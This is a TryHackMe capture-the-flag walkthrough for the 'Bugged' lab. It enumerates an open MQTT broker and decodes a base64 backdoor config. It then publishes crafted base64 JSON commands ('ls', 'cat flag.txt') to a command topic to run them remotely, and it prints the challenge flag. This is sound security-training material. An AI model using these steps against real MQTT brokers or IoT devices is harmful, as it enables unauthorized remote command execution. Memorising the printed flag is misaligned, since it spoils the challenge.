Bugged Walkthrough

Host: bugged.thm

Host (IoT) Enumeration#

sudo nmap -p- bugged.thm -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-14 22:21 EDT
Nmap scan report for bugged.thm (10.10.211.128)
Host is up (0.15s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE
1883/tcp open  mqtt

Nmap done: 1 IP address (1 host up) scanned in 722.96 seconds

With the host enumeration with NMAP completed, We can see that it only has one port and one service running mqtt on port 1833. MQ Telemetry Transport (MQTT) is known as a publish/subscribe messaging protocol that stands out for its extreme simplicity and lightness. This protocol is specifically tailored for environments where devices have limited capabilities and operate over networks that are characterized by low bandwidth, high latency, or unreliable connections. These goals make MQTT exceptionally suitable for the burgeoning field of machine-to-machine (M2M) communication and the Internet of Things (IoT), where it’s essential to connect a myriad of devices efficiently. Moreover, MQTT is highly beneficial for mobile applications, where conserving bandwidth and battery life is crucial.

Let’s do a little bit more of a vuln scan to view more information on that host machine.

sudo nmap -A -sC -p 1883 bugged.thm
[sudo] password for dcyberguy: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-14 22:45 EDT
Nmap scan report for bugged.thm (10.10.211.128)
Host is up (0.11s latency).

PORT     STATE SERVICE                  VERSION
1883/tcp open  mosquitto version 2.0.14
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     $SYS/broker/load/messages/sent/15min: 79.85
|     livingroom/speaker: {"id":2503532439686446461,"gain":41}
|     $SYS/broker/load/messages/received/15min: 79.85
|     $SYS/broker/messages/received: 2957
|     $SYS/broker/load/messages/sent/5min: 89.50
|     $SYS/broker/load/bytes/sent/1min: 350.35
|     $SYS/broker/load/connections/5min: 0.20
|     $SYS/broker/load/bytes/sent/5min: 358.01
|     $SYS/broker/bytes/sent: 11829
|     $SYS/broker/version: mosquitto version 2.0.14
|     yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
|     $SYS/broker/messages/sent: 2957
|     $SYS/broker/load/messages/received/1min: 87.59
|     $SYS/broker/load/connections/1min: 0.91
|     $SYS/broker/load/bytes/sent/15min: 319.42
|     $SYS/broker/load/sockets/1min: 0.91
|     $SYS/broker/load/sockets/15min: 0.11
|     $SYS/broker/load/bytes/received/1min: 3967.79
|     $SYS/broker/load/bytes/received/5min: 4216.80
|     $SYS/broker/uptime: 1969 seconds
|     $SYS/broker/load/bytes/received/15min: 3779.81
|     $SYS/broker/load/sockets/5min: 0.24
|     $SYS/broker/store/messages/count: 52
|     $SYS/broker/bytes/received: 140053
|     $SYS/broker/store/messages/bytes: 308
|     $SYS/broker/load/messages/received/5min: 89.50
|     $SYS/broker/messages/stored: 52
|     $SYS/broker/load/messages/sent/1min: 87.59
|     $SYS/broker/publish/bytes/received: 99966
|     storage/thermostat: {"id":4225093720074778126,"temperature":24.370138}
|     patio/lights: {"id":13113594345698905428,"color":"GREEN","status":"ON"}
|_    $SYS/broker/load/connections/15min: 0.07

We now see a whole lot more information and message we are subscribed to.

Let’s install mosquitto mositto-clients or you can use below python code

#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
	client.subscribe('#', qos=1)
	client.subscribe('$SYS/#')

def on_message(client, userdata, message):
	print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
	client = mqtt.Client()
	client.on_connect = on_connect
	client.on_message = on_message
	client.connect(HOST, PORT)
	client.loop_start()
	#time.sleep(10)
	#client.loop_stop()

if __name__ == "__main__":
	main()

After installation, we run the mosquito client and subscribe to all topics

mosquitto_sub -h 10.10.211.128 -t "#" -v
storage/thermostat {"id":4424087202401419041,"temperature":24.315678}
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
patio/lights {"id":6367359151460270272,"color":"BLUE","status":"OFF"}
kitchen/toaster {"id":3673559716775066364,"in_use":false,"temperature":159.94699,"toast_time":200}
frontdeck/camera {"id":3469777500978391270,"yaxis":-131.96877,"xaxis":78.39072,"zoom":3.052149,"movement":false}
livingroom/speaker {"id":6346922298882139147,"gain":43}
storage/thermostat {"id":10779462243664664036,"temperature":24.486012}
patio/lights {"id":13439815576938688600,"color":"GREEN","status":"OFF"}
storage/thermostat {"id":12352118950085859924,"temperature":24.03314}
livingroom/speaker {"id":7436510398294813606,"gain":69}
kitchen/toaster {"id":6365751887703423581,"in_use":true,"temperature":157.1976,"toast_time":217}
storage/thermostat {"id":6732570971239673425,"temperature":23.903341}
patio/lights {"id":15075058155825401339,"color":"WHITE","status":"ON"}
frontdeck/camera {"id":9765936963053306852,"yaxis":44.41536,"xaxis":-80.401596,"zoom":2.1879764,"movement":false}
livingroom/speaker {"id":15841450779018084555,"gain":69}
storage/thermostat {"id":6855645772535819253,"temperature":24.210281}
kitchen/toaster {"id":447861946156371125,"in_use":true,"temperature":144.22583,"toast_time":316}
livingroom/speaker {"id":15823401485756106547,"gain":69}
patio/lights {"id":3576228414416817688,"color":"GREEN","status":"OFF"}
storage/thermostat {"id":6113459330587820991,"temperature":23.947418}
kitchen/toaster {"id":4222486249924966950,"in_use":false,"temperature":147.68697,"toast_time":357}
frontdeck/camera {"id":13395068193157550498,"yaxis":-76.047325,"xaxis":-130.62901,"zoom":3.8669345,"movement":false}
livingroom/speaker {"id":8517336037859347879,"gain":57}
patio/lights {"id":17871408563665273509,"color":"RED","status":"OFF"}
storage/thermostat {"id":13677569039790021558,"temperature":23.196152}
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
<< snip >>

After a while we start getting some weird string of texts, they are actually base 64 encoded strings. Let’s use decode it from the command line, why not? lol

echo eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ== | base64 --decode       
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}%    

What do we have here? We see some commands like HELP, CMD, and SYS and also two topics, pub_topic and sub_topic.

Exploiting MQTT#

Lets send a message to the two specific topics we just found above. Start running mosquitto_sub -h 10.10.211.128 -t "#" -v on one tab and run mosquitto_pub -t U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub -h 10.10.211.128 -m "hello" on the second and watch as the message whoami is published in the first tab. Not what we wanted. Why? Because if we take the encoded base64 string and decode it, it gives us the same data in plain text.

patio/lights {"id":11889107811064360849,"color":"PURPLE","status":"ON"}
storage/thermostat {"id":5758065865929160412,"temperature":23.008257}
frontdeck/camera {"id":12734952258844187532,"yaxis":-115.4385,"xaxis":-51.510086,"zoom":2.436681,"movement":false}
livingroom/speaker {"id":1209212667415271368,"gain":50}
kitchen/toaster {"id":16288030482377517315,"in_use":false,"temperature":146.48544,"toast_time":339}
patio/lights {"id":2929369648636588611,"color":"RED","status":"ON"}
U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub whoami
storage/thermostat {"id":9531581635509475268,"temperature":23.119894}
livingroom/speaker {"id":17994486064006229578,"gain":44}
kitchen/toaster {"id":13741228036460028322,"in_use":true,"temperature":157.28143,"toast_time":151}

Let’s use the second topic:

mosquitto_pub -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -h 10.10.211.128 -m "hello"

and also run mosquitto_sub -h 10.10.211.128 -t "#" -v on another tab, let’s view the message

mosquitto_sub -h 10.10.211.128 -t "#" -v
patio/lights {"id":4304873169885424399,"color":"PURPLE","status":"OFF"}
storage/thermostat {"id":17919406295669626160,"temperature":23.066387}
frontdeck/camera {"id":6069931459514898160,"yaxis":-127.345146,"xaxis":-108.20679,"zoom":2.2623923,"movement":true}
livingroom/speaker {"id":3344206306783571610,"gain":48}
kitchen/toaster {"id":6254890677959890702,"in_use":true,"temperature":149.53917,"toast_time":304}
XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub hello
U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=
storage/thermostat {"id":10037350582510015336,"temperature":23.817501}
livingroom/speaker {"id":17774124095598642456,"gain":46}
patio/lights {"id":17019901905888515669,"color":"RED","status":"OFF"}
kitchen/toaster {"id":4827872121869012879,"in_use":true,"temperature":151.87283,"toast_time":291}
storage/thermostat {"id":5813655514586686632,"temperature":23.610136}
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

After run that we get a new base64 encode text. Let’s decode it as usual

bugged echo SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk= | base64 --decode
Invalid message format.
Format: base64({"id": "<backdoor id>", "cmd": "<command>", "arg": "<argument>"})%                                                 ➜  bugged 

We get a whole different format that comprises of id, cmd and an arg. Based on the second sub_topic, we will fill out the format and use the whoami command for the arg. something like this: {"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "CMD", "arg": "ls"}

Let us save to a file called base64encoded.txt encode it to base64.

nano base64encoded.txt 
base64 base64encoded.txt
eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNN
RCIsICJhcmciOiAibHMifQo=

So let’s both both on two separate terminals and capture the output first terminal

mosquitto_pub -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -h 10.10.211.128 -m "eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIsICJhcmciOiAibHMifQo="

Second terminal:

mosquitto_sub -h 10.10.211.128 -t "#" -v
storage/thermostat {"id":2336703387415567708,"temperature":23.934895}
patio/lights {"id":12114664026872428624,"color":"RED","status":"OFF"}
frontdeck/camera {"id":805224080488088493,"yaxis":114.80798,"xaxis":95.28137,"zoom":3.1519709,"movement":false}
livingroom/speaker {"id":5948856983848466350,"gain":65}
XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIsICJhcmciOiAibHMifQo=
storage/thermostat {"id":5512785026372212484,"temperature":24.083206}
U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZy50eHRcbiJ9

We get the output as: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZy50eHRcbiJ9. Lets decode ir.

echo eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZy50eHRcbiJ9 | base64 --decode
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag.txt\n"}% 

Nice! we see a flag.txt.

Let’s do the process again, but this time we will use the flag.txt in our arguments {"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "CMD", "arg": "cat flag.txt"}

I will encode it in base64 and run the same pattern as we did before.

mosquitto_sub -h 10.10.211.128 -t "#" -v
livingroom/speaker {"id":11198482597063915374,"gain":47}
storage/thermostat {"id":3001615010740800409,"temperature":23.800558}
kitchen/toaster {"id":6696800457979353322,"in_use":true,"temperature":144.47551,"toast_time":181}
patio/lights {"id":15958837671297077404,"color":"RED","status":"ON"}
XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIsICJhcmciOiAiY2F0IGZsYWcudHh0In0K
U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZ3sxOGQ0NGZjMDcwN2FjOGRjOGJlNDViYjgzZGI1NDAxM31cbiJ9

Decode the output from Base64.

echo eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZ3sxOGQ0NGZjMDcwN2FjOGRjOGJlNDViYjgzZGI1NDAxM31cbiJ9 | base64 --decode
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag{18d44fc0707ac8dc8be45bb83db54013}\n"}%

Got flag!!


Adapted from canyakora1/TryHackMe-Walkthroughs under MIT.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop